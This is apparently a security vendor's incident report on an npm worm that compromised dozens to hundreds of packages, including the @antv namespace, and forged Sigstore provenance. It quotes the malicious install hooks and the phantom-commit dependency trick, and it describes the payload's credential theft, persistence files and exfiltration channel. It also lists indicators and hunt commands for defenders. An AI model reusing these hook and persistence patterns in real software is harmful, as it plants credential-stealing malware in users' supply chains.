TLDR;
Endor Labs detected 42 malicious npm packages on May 19, 2026 between 01:39 and 02:06 UTC. The campaign was first observed with the compromise of two dormant packages, jest-canvas-mock and size-sensor, using phantom commit droppers. From there the worm was seen propagating across the @antv ecosystem and several other widely used packages, publishing new malicious versions with an embedded payload.
Three things are new in this wave:
The worm now calls Fulcio and Rekor at runtime to submit valid Sigstore signing certificates and transparency log entries for every package it propagates to. Provenance tooling shows a green badge. The build chain behind it is the attacker's.
The attacker is deliberately targeting packages that have been dormant for years. jest-canvas-mock had not published in three years. size-sensor had not published in three years. timeago.js is nearly a decade old. Dormant accounts are easier to compromise and less likely to be noticed.
The scope of the AntV ecosystem compromise is broader than first appeared. At time of writing, 37 @antv/* packages have been confirmed malicious, with the worm still publishing through the 02:06 UTC window. The AntV organization appears to be the root maintainer across all affected alerts, consistent with a single stolen token with publish rights across the entire namespace.
If you installed any affected package on May 19, treat all credentials on that machine as compromised and rotate immediately.
Update - May 19, 2026
Endor Labs has continued monitoring this campaign. Since our initial detection of 42 malicious packages this morning, our systems have identified an additional 591 malicious package versions across the npm ecosystem, bringing the total confirmed count to 633. The campaign has expanded well beyond the AntV organization. Newly identified packages include multiple @openclaw-cn/* packages, @starmind/collector-cli, @lint-md/* utilities, testing tools such as jest-electron, jest-random-mock, jest-less-loader, and jest-url-loader, and a broad range of utility packages including mcp-echarts, mcp-mermaid, ai-figure, canvas-nest.js, timeago-react, and ribbon.js, indicating the worm has propagated across many additional compromised maintainer accounts. The full and continuously updated list of malicious packages is available in the affected versions below. The same guidance applies across all affected packages: do not upgrade, pin to your current version, and add --ignore-scripts to all npm install and npm ci calls.
Affected versions
How Endor Labs Detected These
Endor Labs detected all 42 packages through our malware detection systems, with the first alert at 01:39 UTC and detections continuing through 02:22 UTC as the worm continued publishing.
The jest-canvas-mock and size-sensor detections were triggered by behavioral signals: packages with multi-year publication gaps publishing new versions, the introduction of optionalDependencies entries pointing to raw GitHub commit hashes, and the presence of a prepare lifecycle hook in the referenced dependency executing an obfuscated payload with exit 1. The three-year dormancy gap on a package with over 10 million monthly downloads was itself a high-weight signal.
The 40 propagated packages were detected through Endor Labs malware analysis identifying the embedded index.js payload as consistent with the Mini Shai-Hulud family based on payload structure, obfuscation pattern, and behavioral characteristics confirmed through static analysis of the @antv/l7-core payload.
Timeline
The 27-minute overall window, the simultaneous batch publishes, and the fact that 37 @antv/* packages were all affected points to a single stolen token with publish rights across the entire AntV organization namespace.
Technical Analysis
Two Delivery Mechanisms, One Campaign
Type 1 — Phantom commit dropper (jest-canvas-mock, size-sensor)
These packages are otherwise clean. The only change from the previous legitimate version is the addition of an optionalDependencies entry pointing to a malicious GitHub commit:
// jest-canvas-mock@2.5.3
"optionalDependencies": {
"@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"
}
// size-sensor@1.0.4
"optionalDependencies": {
"@antv/setup": "github:antvis/G2#7cb42f57561c321ecb09b4552802ae0ac55b3a7a"
}Note that jest-canvas-mock and size-sensor reference different commit hashes. Both hashes point to commits pushed to forks of antvis/G2. Because GitHub stores commit objects in shared storage across a repository and its forks, commits pushed to any fork are reachable through the parent repository's URL via github: npm references. Both commits contain a package.json defining @antv/setup with the same prepare hook:
"scripts": {
"prepare": "bun run index.js && exit 1"
}When npm resolves the github: dependency, it clones the commit and runs prepare automatically. The exit 1 forces the dependency installation to fail. Because the dependency is optional, npm ignores the failure, completes the parent package install, and does not leave the malicious @antv/setup behind in node_modules. By the time npm reports success, the payload has already executed.
Type 2 — Embedded payload (all 40 propagated packages)
These packages carry a ~500KB obfuscated index.js at the package root that does not belong to the legitimate package, along with a preinstall hook to execute it:
"scripts": {
"preinstall": "bun run index.js"
}The preinstall hook fires unconditionally before the dependency graph is evaluated. npm ci --ignore-scripts suppresses it. Without that flag, execution is automatic.
SHA-256 of @antv/l7-core index.js: a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c
The Payload
The following is drawn from our analysis of the @antv/l7-core@2.26.10 payload.
Daemonization. The __DAEMONIZED re-entrancy guard is present. On first execution the payload re-spawns itself as a detached background process and calls unref(), severing the child from the npm install process. The install exits normally. The implant keeps running.
Credential collection. Confirmed from static analysis:
- GitHub token harvesting — two token format regexes present in plaintext
- npm token harvesting — regex present in plaintext
- GCP service account key detection — service account JSON pattern present in plaintext
ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URLaccessed in plaintext — the worm mints fresh OIDC tokens at runtime, not just harvesting ambient ones- GitHub Actions secrets API enumeration confirmed in payload body
VAULT_TOKENconfirmed in plaintext- AWS IMDSv2 endpoint
169.254.169.254confirmed - AWS ECS task metadata endpoint
169.254.170.2confirmed - 17 AWS regions in the credential collection array
Persistence. The payload writes hooks into the current project directory, not into node_modules. Removing the package does not remove them:
.claude/settings.json — SessionStarthook pointing at a persisted payload copy.vscode/tasks.json — "runOn": "folderOpen"pointing at the same copy
What Is New: Sigstore Provenance Forgery
Endor Labs' static analysis of @antv/l7-core@2.26.10 confirms a complete, callable Sigstore attestation pipeline inside the payload. This capability is consistent with what was observed in the TanStack payload analysis, and our independent analysis of a different payload file confirms it is present across this campaign family.
The payload contains the following functions:
generateKeyPairSync('ec', {namedCurve: 'P-256'})— generates an ephemeral EC key pair_R()— mints an OIDC identity token usingACTIONS_ID_TOKEN_REQUEST_* from the runner environmentiR()— submits the public key and OIDC token to Fulcio to obtain a signing certificate tied to the runner's identitydR()— submits a signed envelope to Rekor and retrieves the transparency log entry including the inclusion proofz7()— assembles the complete Sigstore bundle: DSSE envelope, Fulcio certificate, and Rekor log entry
When the worm replicates to a new package using a stolen npm token, it calls z7() on the tarball before publishing. The full Fulcio and Rekor submission flow runs. The resulting package carries a valid Sigstore provenance attestation, signed by a Fulcio-issued certificate and logged in the public Rekor transparency log.
This provenance is cryptographically real. Verification tooling will accept it. The certificate subject reflects the identity of the CI runner whose OIDC token the worm minted, a legitimate identity that did not authorize the publish. The attestation proves where the package was built. It does not prove the build was authorized.
A package published by this worm is indistinguishable from a legitimate release at the provenance verification layer.
The AntV Ecosystem Compromise
The breadth of the @antv/* impact, 37 packages across graph visualization (G6), geospatial mapping (L7), rendering (G), charting (data-set, component, coord), and utility layers, is consistent with a single npm token with publish rights across the entire AntV organization. The simultaneous batch publishes at 01:56 and 02:06 UTC confirm scripted execution rather than manual publishing. echarts-for-react and the two Jest packages (jest-date-mock, jest-canvas-mock) suggest the stolen token set extended beyond a single organization.
Dormancy as a Target Criterion
jest-canvas-mock last published in 2023. size-sensor last published in 2023. timeago.js was created in 2016. @antv/data-set was created in 2017. The attacker is deliberately selecting accounts that have been inactive for extended periods. Dormant accounts are less likely to have OIDC trusted publishing configured, less likely to have recently rotated tokens, and less likely to have active monitoring for unexpected publishes. A package that has been stable for years publishing a new version introducing optionalDependencies with a raw GitHub commit hash is a strong detection signal, one that Endor Labs now applies as part of our heuristics for this campaign family.
Exfiltration
Based on analysis of the TanStack payload and consistent with the structure observed in the AntV payload, the primary exfiltration channel is filev2.getsession[.]org/file/ over the Session P2P network. On the wire this is end-to-end-encrypted traffic on TCP/443, indistinguishable from legitimate Session app traffic at the network layer. There is no traditional C2 endpoint to block by hostname or IP. This shift from the GitHub-as-C2 dead-drop used in earlier Shai-Hulud waves removes most of the GitHub-side observability defenders previously relied on.
Campaign Lineage
This wave is notable not just for the new Sigstore capability but for the scale of propagation. The worm swept an entire visualization ecosystem in under 30 minutes.
Indicators of Compromise
File Indicators
Dependency / Registry Indicators
Network Indicators
Code Markers (in embedded payloads)
Git / GitHub Indicators
Remediation
Immediate
Hunt for payload files and phantom commit references:
# Check for phantom commit hashes in lockfile
grep -r "1916faa365f2788b6e193514872d51a242876569\|7cb42f57561c321ecb09b4552802ae0ac55b3a7a" \
package-lock.json node_modules/ 2>/dev/null
# Check for @antv/setup
ls node_modules/@antv/setup 2>/dev/null
# Find anomalous large index.js at package root level
find node_modules -maxdepth 2 -name "index.js" -size +400k 2>/dev/nullHunt for persistence artifacts:
find . -path "*/.claude/settings.json" | xargs grep -l "SessionStart" 2>/dev/null
find . -path "*/.vscode/tasks.json" | xargs grep -l "folderOpen" 2>/dev/null
find . -path "*/.github/workflows/format-check.yml" 2>/dev/nullBlock outbound traffic to filev2.getsession[.]org and audit recent flows.
Rotate all credentials on the affected machine, in order of priority:
- npm publish tokens
- GitHub PATs and OAuth tokens — check your GitHub audit log for OIDC token issuances the worm may have triggered via
ACTIONS_ID_TOKEN_REQUEST_URL - AWS IAM keys and instance role credentials
- GCP service account keys
- Azure client secrets
- HashiCorp Vault tokens
- Kubernetes service account tokens
- SSH private keys
- All
.envfile contents
Check whether the worm propagated from your tokens. Look for unexpected new package versions published after 01:39 UTC on May 19. Packages published by the worm will carry valid Sigstore provenance, the provenance does not indicate legitimacy.
Check Rekor for unexpected certificate issuances. If the worm ran in your CI environment it submitted entries to Rekor using your runner's OIDC identity. Search for your organization's repository identities in recent Rekor entries.
Long-Term
npm ci --ignore-scripts in all CI builds. This suppresses preinstall, postinstall, and prepare hooks — the delivery mechanism across every wave of this campaign.
Treat optionalDependencies with github: commit refs as a risk indicator. Standard registry-focused dependency review does not flag this vector. Any github: ref in optionalDependencies requires explicit security review before the package is allowed into your environment.
Do not treat Sigstore provenance as a standalone control. Provenance proves a package was built in a particular CI environment. It does not prove the build was authorized. When the worm mints an OIDC token at runtime and submits it to Fulcio, the resulting provenance passes all standard verification checks. Defense at the install layer, --ignore-scripts, a package firewall, OIDC scope pinning — does not depend on trusting provenance and remains the most reliable control.
Add Sigstore certificate issuance monitoring. Unexpected Fulcio certificate issuances under your organization's CI identities are a detectable signal. The Rekor transparency log is public.
Flag multi-year dormancy plus structural changes as a detection signal. A package that has not published in two or more years releasing a new version that adds optionalDependencies or lifecycle hooks is a strong indicator. This is now part of Endor Labs' detection heuristics for this campaign family.
Conclusion
The Shai-Hulud worm added provenance forgery to its toolkit in this wave, and did so while sweeping an entire widely-used visualization ecosystem in under 30 minutes. The AntV organization's package namespace was used as a propagation vehicle on a scale we have not seen in prior waves — 37 packages published in two scripted batches, all carrying an embedded payload that generates valid Sigstore attestations for whatever it publishes next.
The practical implication for defenders: a package can now carry a valid provenance badge and still be malicious. The certificate subject is a legitimate CI identity. The Rekor log entry is real. The verification check passes. The package steals your credentials.
The controls that remain effective do not depend on trusting provenance. --ignore-scripts at install time, a package firewall blocking the install, and OIDC scope pinning preventing the worm from obtaining publish tokens in the first place — these work regardless of what the provenance says. That is where the defensive focus should be.
Endor Labs is continuing to track this campaign. This post will be updated as additional packages are confirmed.
What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:








